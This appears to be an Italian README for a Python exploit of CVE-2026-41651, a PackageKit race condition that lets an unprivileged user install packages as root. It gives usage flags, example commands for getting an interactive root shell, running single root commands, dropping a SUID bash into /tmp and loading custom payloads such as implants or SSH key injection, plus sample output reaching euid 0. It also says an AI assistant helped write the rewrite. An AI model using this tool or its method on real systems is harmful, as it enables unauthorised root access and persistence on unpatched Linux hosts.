
Exploit proof-of-concept in Python per CVE-2026-41651, una escalation locale di privilegi TOCTOU in PackageKit che consente a utenti non privilegiati di installare pacchetti come root. Include modalità di verifica, supporto per payload personalizzato e dropper bash SUID.
| Campo | Valore |
|---|
| CVE | CVE-2026-41651 |
| Componente | PackageKit daemon (packagekitd) |
| Versioni affette | 1.0.2 – 1.3.4 |
| Risolto in | 1.3.5 |
| Impatto | Escalation dei privilegi locali → root |
Questo strumento è fornito solo per scopi educativi e di ricerca sulla sicurezza autorizzati.
Sistema operativo vulnerabile: Qualsiasi distribuzione Linux che esegua PackageKit >= 1.0.2 <= 1.3.4.
Limitazione del PoC: il costruttore di pacchetti integrato produce solo file
.deb, quindi lo script richiede un host Debian/Ubuntu per essere eseguito così com'è. Su sistemi basati su RPM, fornisci un payload postinst personalizzato tramite--payload-scripte assicurati chedpkg/dpkg-devsia disponibile, oppure adatta il costruttore.
Python: 3.6+
Pacchetti di sistema (Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
Nota sulle dipendenze:
python3-dbusepython3-ginon fanno parte della libreria standard di Python, ma sono quasi sempre già presenti su qualsiasi macchina che esegue un ambiente desktop grafico (GNOME, KDE, XFCE, ecc.), perché questi ambienti dipendono direttamente da essi. Su un'installazione standard di Ubuntu Desktop entrambe le librerie sono disponibili senza installazione manuale. Su un server minimale senza interfaccia grafica potrebbero essere assenti, quindi in tal caso il comandoapt installsopra richiede sudo, il che contraddice il contesto LPE. In pratica, qualsiasi macchina che esegue PackageKit con una sessione desktop avrà già queste dipendenze soddisfatte.
gir1.2-glib-2.0fornisce i file typelib di GObject Introspection per GLib.python3-giè il motore di binding Python, ma ha bisogno di questi file typelib per sapere come comunicare specificamente con GLib. Senza questo pacchetto,from gi.repository import GLibfallisce anche sepython3-giè installato. Entrambi vengono installati automaticamente da qualsiasi desktop basato su GNOME.
Nota sul tentativo solo stdlib: Una versione precedente di questo PoC ha tentato di rimuovere completamente queste dipendenze sostituendo le chiamate D-Bus con processi figli
gdbus/dbus-send, quindi parlando il protocollo D-Bus direttamente tramite il socket Unix. Entrambi gli approcci non sono riusciti a innescare in modo affidabile la race condition TOCTOU: la generazione di processi esterni introduce una latenza sufficiente tra le due chiamateInstallFilestale che PackageKit elabora il Passo 1 prima che arrivi il Passo 2, rompendo la race condition. Il bindingdbus-pythoninvia entrambe le chiamate in modalità fire-and-forget sullo stesso socket già aperto senza overhead di fork, il che fa funzionare la temporizzazione. La versione solo stdlib è stata annullata per questo motivo.
Verifica la versione di PackageKit (senza il PoC):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
| Flag | Descrizione |
|---|---|
--check | Interroga la versione di PackageKit e segnala la vulnerabilità, poi esce |
--exec CMD | Esegue un singolo comando come root invece di aprire una shell interattiva |
--payload-script FILE | Usa uno script postinst personalizzato invece del dropper SUID bash integrato |
--suid-path PATH | Dove rilasciare la SUID bash (default: /tmp/.suid_bash) |
--no-cleanup | Mantiene la SUID bash dopo l'uscita dalla shell |
--timeout N | Secondi per sondare la SUID bash (default: 120) |
--quiet | Sopprime l'output di avanzamento (per scripting) |
Esempi:
# Verifica se il target è vulnerabile (nessun exploit)
python3 cve-2026-41651.py --check
# Exploit completo → shell root interattiva
python3 cve-2026-41651.py
# Esegue un singolo comando come root
python3 cve-2026-41651.py --exec "id"
# Payload personalizzato (impianto, iniezione chiave SSH…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Mantiene la SUID bash dopo l'uscita, percorso personalizzato
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Modalità scriptabile / veloce
python3 cve-2026-41651.py --timeout 60 --quiet
Output previsto:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
Basato sul PoC C originale di Vozec. Questa è una riscrittura in Python per portabilità. Tutto il merito per la tecnica di exploit va all'autore originale.
Riscrittura Python sviluppata con l'assistenza di Claude (Anthropic).